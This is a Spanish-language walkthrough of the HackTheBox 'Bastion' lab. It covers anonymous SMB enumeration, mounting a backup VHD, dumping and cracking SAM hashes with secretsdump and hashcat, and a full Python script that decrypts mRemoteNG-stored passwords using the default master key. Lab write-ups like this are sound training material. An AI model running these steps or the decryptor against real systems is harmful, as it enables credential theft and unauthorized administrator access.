Bastion

Enumeración

Nuestra fase de reconocimiento comenzó validando la conectividad con el objetivo. El TTL=127 del paquete ICMP nos indicó de inmediato que nos enfrentábamos a un sistema operativo Windows. Al realizar un escaneo de puertos con Nmap, descubrimos servicios típicos de Windows Server, destacando los puertos 22 (SSH) y 445 (SMB).

El hallazgo más importante surgió al enumerar el servicio SMB. Al intentar una conexión sin credenciales, logramos listar los recursos compartidos y descubrimos un directorio inusual llamado Backups. Al explorarlo, encontramos una nota de los administradores que confirmaba la existencia de copias de seguridad de imágenes de disco en ese mismo recurso.

# [-c 1] Enviar exactamente 1 paquete ICMP
# Comprobar la conexión y el ttl=127 que confirma casi con seguridad un sistema Windows
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ ping -c 1 $IP
64 bytes from 10.129.136.29: icmp_seq=1 ttl=127 time=116 ms

# [-p-] Escanear los 65535 puertos
# [-n] Desactivar resolución DNS para agilizar el escaneo
# [-sS] Escaneo TCP SYN (Stealth)
# [-Pn] Omitir el descubrimiento de host (No ping)
# [--min-rate=5000] Enviar al menos 5000 paquetes por segundo
# [-oG] Guardar el output en formato Grepeable
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ sudo nmap -p- -n -sS -Pn --min-rate=5000 $IP -oG nmap/allPorts
PORT      STATE SERVICE
22/tcp    open  ssh
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
5985/tcp  open  wsman
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown

# [-p...] Escanear específicamente los puertos descubiertos
# [-sCV] Combinación para ejecutar scripts por defecto (-sC) y enumerar versiones (-sV)
# [-oN] Guardar el output en formato Nmap normal
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ sudo nmap -p22,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669,49670 -sCV --min-rate=5000 $IP -oN nmap/versions
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey:
|   2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
|   256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
|_  256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
49670/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -39m57s, deviation: 1h09m15s, median: 1s
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2026-05-09T19:50:35
|_  start_date: 2026-05-09T19:38:12
| smb-os-discovery:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Bastion
|   NetBIOS computer name: BASTION\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2026-05-09T21:50:34+02:00

# [-L] Solicitar listar (List) los recursos compartidos disponibles en la IP objetivo
# [-N] Indicar que no se proporcionará contraseña (intento de acceso anónimo/Null Session)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ smbclient -L \\$IP -N
        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        Backups         Disk
        C$              Disk      Default share
        IPC$            IPC       Remote IPC

# Conectarnos al recurso compartido no estándar "Backups" de forma anónima
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ smbclient //$IP/Backups -N
smb: \> ls
  note.txt                           AR      116  Tue Apr 16 06:10:09 2019
  SDT65CB.tmp                         A        0  Fri Feb 22 07:43:08 2019
  WindowsImageBackup                 Dn        0  Fri Feb 22 07:44:02 2019

# Descargar la nota dejada por los sysadmins
smb: \> get note.txt
getting file \note.txt of size 116 as note.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)

# Navegar por los directorios internos de la copia de seguridad
smb: \WindowsImageBackup\L4mpje-PC\> cd "\WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\Backup 2019-02-22 124351"

# Listar el contenido para descubrir los archivos de disco virtual (.vhd), destacando uno de más de 5GB
smb: \WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\> ls
  9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd     An 37761024  Fri Feb 22 07:44:02 2019
  9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd     An 5418299392  Fri Feb 22 07:44:03 2019
  BackupSpecs.xml                    An     1186  Fri Feb 22 07:45:32 2019

smb: \WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\> exit

# Leer la nota descargada (advierte que el archivo de backup es muy pesado para transferir por VPN)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ cat note.txt
Sysadmins: please dont transfer the entire backup file locally, the VPN to the subsidiary office is too slow.

Explotación

Dado que descargar un archivo .vhd de 5GB por SMB sería ineficiente y propenso a errores, decidimos montar el recurso compartido directamente en nuestro sistema local usando gio. Una vez enlazado, utilizamos guestmount para montar internamente la imagen del disco duro virtual, lo que nos permitió navegar por sus archivos como si fuera un directorio de Linux.

Nos dirigimos a la ruta crítica de Windows System32/config y extrajimos las bases de datos de registro SAM y SYSTEM locales del backup. Utilizando impacket-secretsdump, logramos volcar los hashes NTLM de los usuarios de la máquina. Tras procesar el volcado con Hashcat y el diccionario rockyou.txt, conseguimos descifrar la contraseña del usuario L4mpje, obteniendo nuestro acceso inicial conectándonos a través del servicio SSH.

# Montar el recurso compartido SMB completo en el sistema de archivos local de Linux (gvfs)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ gio mount smb://10.129.136.29/Backups

┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ ls /run/user/1000/gvfs/
'smb-share:server=10.129.136.29,share=backups'

# Crear el directorio destino donde montaremos el disco virtual internamente
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ mkdir -p ~/HTB/bastion/vhd_mnt

# [-a] Ruta absoluta al archivo .vhd de más de 5GB que expuso gio
# [-m] Indicar la partición del disco virtual que queremos montar (/dev/sda1)
# [--ro] Montar el disco en modo Solo Lectura (Read-Only) por seguridad
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ guestmount -a "/run/user/1000/gvfs/smb-share:server=10.129.136.29,share=backups/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd" -m /dev/sda1 --ro ~/HTB/bastion/vhd_mnt

# Navegar a la ruta crítica donde Windows almacena las bases de datos locales
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ cd vhd_mnt/Windows/System32/config

┌──(jquirozz㉿jquirozz.com)-[~/…/vhd_mnt/Windows/System32/config]
└─$ ls -l SAM SYSTEM SECURITY
-rwxrwxrwx 1 root root  262144 Feb 22  2019 SAM
-rwxrwxrwx 1 root root  262144 Feb 22  2019 SECURITY
-rwxrwxrwx 1 root root 9699328 Feb 22  2019 SYSTEM

# Copiar los archivos de registro (SAM, SYSTEM, SECURITY) a nuestro entorno local
┌──(jquirozz㉿jquirozz.com)-[~/…/vhd_mnt/Windows/System32/config]
└─$ cp SAM SYSTEM SECURITY ~/HTB/bastion

# [-sam, -security, -system] Indicar las rutas de los archivos extraídos del backup
# [LOCAL] Analizar los archivos de forma offline
# [-outputfile] Guardar el volcado de hashes NTLM limpios
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL -outputfile SAM_NTLM
[*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DefaultPassword
(Unknown User):bureaulampje
[*] DPAPI_SYSTEM
dpapi_machinekey:0x32764bdcb45f472159af59f1dc287fd1920016a6
dpapi_userkey:0xd2e02883757da99914e3138496705b223e9d03dd
[*] Cleaning up...

# [-d] Utilizar ":" como delimitador
# [-f 4] Extraer exclusivamente el campo 4 (el hash NTLM) y guardarlo en un archivo
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ cat SAM_NTLM.sam | cut -d ":" -f 4 > hashes

┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ cat hashes
31d6cfe0d16ae931b73c59d7e0c089c0
31d6cfe0d16ae931b73c59d7e0c089c0
26112010952d963c8dc4217daec986d9

# [-m 1000] Especificar el módulo de NTLM en Hashcat para crackear la contraseña usando rockyou.txt
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ hashcat -m 1000 hashes /usr/share/wordlists/rockyou.txt
31d6cfe0d16ae931b73c59d7e0c089c0:
26112010952d963c8dc4217daec986d9:bureaulampje

# Acceder a la máquina por SSH usando la contraseña crackeada para el usuario L4mpje:bureaulampje
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ ssh L4mpje@$IP

l4mpje@BASTION C:\Users\L4mpje>ls Desktop
09-05-2026  21:38                34 user.txt

l4mpje@BASTION C:\Users\L4mpje\Desktop>type Desktop/user.txt
f2****************************f6

Escalada de privilegios

Una vez con acceso de bajo privilegio, iniciamos la enumeración del sistema buscando archivos con credenciales en texto claro o configuraciones sensibles. Usando comandos nativos de Windows, descubrimos archivos de configuración pertenecientes a mRemoteNG, un gestor de conexiones remotas.

Al inspeccionar el archivo confCons.xml, confirmamos que el programa almacenaba la contraseña del usuario Administrator en un formato cifrado en Base64. Sabiendo que mRemoteNG utiliza una contraseña maestra por defecto (mR3m) si el usuario no la cambia, escribimos un script en Python para revertir el cifrado AES-GCM localmente. Esto nos permitió extraer la contraseña en texto claro y comprometer totalmente la máquina. Mi script se basó en el repositorio https://github.com/haseebT/mRemoteNG-Decrypt. Puedes usarlo como alternativa.

# Comprobar la versión exacta del sistema operativo Windows
l4mpje@BASTION C:\Users\L4mpje>ver
Microsoft Windows [Version 10.0.14393]

# [/s] Buscar de forma recursiva en todos los subdirectorios
# Buscar archivos cuyos nombres contengan palabras clave como pass, cred, vnc o terminen en .config
l4mpje@BASTION C:\Users\L4mpje>dir /s *pass* == *cred* == *vnc* == *.config*
Directory of C:\Users\L4mpje\AppData\Local\Microsoft\Windows\INetCache\Low\IE\AOT8Y1PS
22-02-2019  15:00               318 Passport[1].htm

Directory of C:\Users\L4mpje\AppData\Local\Microsoft_Corporation\ServerManager.exe_StrongName_m3xk0k0ucj0oj3ai2hibnhnv4xobnimj\10.0.0.0
22-02-2019  14:59             5.793 user.config

Directory of C:\Users\L4mpje\AppData\Local\mRemoteNG\mRemoteNG.exe_Url_pjpxdehxpaaorqg2thmuhl11a34i3ave\1.76.11.40527
22-02-2019  15:03             4.175 user.config

Directory of C:\Users\L4mpje\AppData\Local\Packages\windows.immersivecontrolpanel_cw5n1h2txyewy\LocalState\Indexed\Settings\en-US
16-07-2016  15:18             1.309 AAA_SystemSettings_MultiTasking_SnapAssistEnabled.settingcontent-ms
16-07-2016  15:18             1.253 AAA_SystemSettings_Users_ChangePassword.settingcontent-ms
16-07-2016  15:18             1.265 AAA_SystemSettings_Users_PicturePassword.settingcontent-ms
16-07-2016  15:18             1.233 AAA_SystemSettings_Users_PINPassword.settingcontent-ms

Directory of C:\Users\L4mpje\AppData\Local\Packages\windows.immersivecontrolpanel_cw5n1h2txyewy\LocalState\Indexed\Settings\en-US
16-07-2016  15:18             1.339 AAA_SystemSettings_SyncSettings_SyncCredentials_Toggle.settingcontent-ms

# El comando anterior revela rutas interesantes, destacando la presencia del gestor de conexiones mRemoteNG en AppData
# Nos desplazamos al directorio de mRemoteNG ubicado en la variable de entorno de Roaming
l4mpje@BASTION C:\>cd %APPDATA%/mRemoteNG

# Listamos el contenido del directorio para visualizar los archivos de configuración y backups
l4mpje@BASTION C:\Users\L4mpje\AppData\Roaming\mRemoteNG>dir
22-02-2019  15:03             6.316 confCons.xml
22-02-2019  15:02             6.194 confCons.xml.20190222-1402277353.backup
22-02-2019  15:02             6.206 confCons.xml.20190222-1402339071.backup
22-02-2019  15:02             6.218 confCons.xml.20190222-1402379227.backup
22-02-2019  15:02             6.231 confCons.xml.20190222-1403070644.backup
22-02-2019  15:03             6.319 confCons.xml.20190222-1403100488.backup
22-02-2019  15:03             6.318 confCons.xml.20190222-1403220026.backup
22-02-2019  15:03             6.315 confCons.xml.20190222-1403261268.backup
22-02-2019  15:03             6.316 confCons.xml.20190222-1403272831.backup
22-02-2019  15:03             6.315 confCons.xml.20190222-1403433299.backup
22-02-2019  15:03             6.316 confCons.xml.20190222-1403486580.backup
22-02-2019  15:03                51 extApps.xml
22-02-2019  15:03             5.217 mRemoteNG.log
22-02-2019  15:03             2.245 pnlLayout.xml

# Leer el contenido del archivo de configuración principal (confCons.xml)
# Aquí descubrimos que almacena conexiones guardadas y expone la credencial encriptada en Base64 para el usuario "Administrator"
l4mpje@BASTION C:\Users\L4mpje\AppData\Roaming\mRemoteNG>type confCons.xml
<mrng:Connections xmlns:mrng="http://mremoteng.org" Name="Connections" Export="false" EncryptionEngine="AES" BlockCipherMode="GC
M" KdfIterations="1000" FullFileEncryption="false" Protected="ZSvKI7j224Gf/twXpaP5G2QFZMLr1iO1f5JKdtIKL6eUg+eWkL5tKO886au0ofFPW0
oop8R8ddXKAx4KK7sAk6AA" ConfVersion="2.6">
    <Node Name="DC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="500e7d58-662a-44d4-aff0-3a4f547a3fee" Userna me="Administrator" Domain="" Password="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==" Hostname="127.0.0.1" Protocol="RDP" ... />
    <Node Name="L4mpje-PC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="8d3579b2-e68e-48c1-8f0f-9ee1347c9128" Username="L4mpje" Domain="" Password="yhgmiu5bbuamU3qMUKc/uYDdmbMrJZ/JvR1kYe4Bhiu8bXybLxVnO0U9fKRylI7NcB9QuRsZVvla8esB" Hostnam e="192.168.1.75" Protocol="RDP" ... />
</mrng:Connections>

decrypt.py: Revisión del código para el descifrado de la contraseña

# Importar las librerías necesarias para el manejo de hashes, decodificación base64 y cifrado AES
import hashlib
import base64
import sys
from Cryptodome.Cipher import AES

# Validar que se envíe el string en base64 como argumento al ejecutar el script
if len(sys.argv) < 2:
    print('Usage: python3 script.py <base64_string>')
    sys.exit(1)

# Almacenar el string cifrado pasado por consola
encrypted_b64 = sys.argv[1]

# Contraseña maestra por defecto codificada en el código fuente de mRemoteNG
secret_pass = "mR3m"
# Decodificar el string de Base64 a bytes sin procesar
raw_data = base64.b64decode(encrypted_b64)

# mRemoteNG estructura el string decodificado en partes fijas. Extraemos cada componente por su longitud en bytes:
# Los primeros 16 bytes corresponden al Salt criptográfico
salt = raw_data[:16]
# Los siguientes 16 bytes (del 16 al 32) corresponden al Nonce (Number used once)
nonce = raw_data[16:32]
# El texto cifrado se encuentra desde el byte 32 hasta los últimos 16 bytes
ciphertext = raw_data[32:-16]
# Los últimos 16 bytes son la etiqueta de autenticación (Tag) requerida por el modo GCM
tag = raw_data[-16:]

# Derivar la llave criptográfica usando PBKDF2 (1000 iteraciones usando el salt extraído y la contraseña maestra)
key = hashlib.pbkdf2_hmac("sha1", secret_pass.encode(), salt, 1000, dklen=32)

# Inicializar el cifrador AES en modo GCM con la llave y el nonce generados
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
# En mRemoteNG, el salt también se utiliza como "Associated Data" para la verificación de integridad
cipher.update(salt)
# Decifrar el texto y verificar simultáneamente que no haya sido alterado usando el Tag
plaintext = cipher.decrypt_and_verify(ciphertext, tag)

# Imprimir la contraseña decodificada en texto plano
print(f'Decrypted Password: {plaintext.decode('utf-8')}')
# Ejecutar nuestro script pasándole como único argumento el hash Base64 del Administrador encontrado en el XML
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ python3 decrypt.py 'aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=='
Decrypted Password: thXLHM96BeKL0ER2

# Con la contraseña en texto claro recuperada (thXLHM96BeKL0ER2), iniciamos sesión vía SSH directamente como Administrador
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion/mRemoteNG-Decrypt]
└─$ ssh Administrator@$IP

# Navegamos al escritorio del Administrador para buscar la flag final
administrator@BASTION C:\Users\Administrator>cd Desktop

# Pwned!
administrator@BASTION C:\Users\Administrator\Desktop>type root.txt
be****************************f9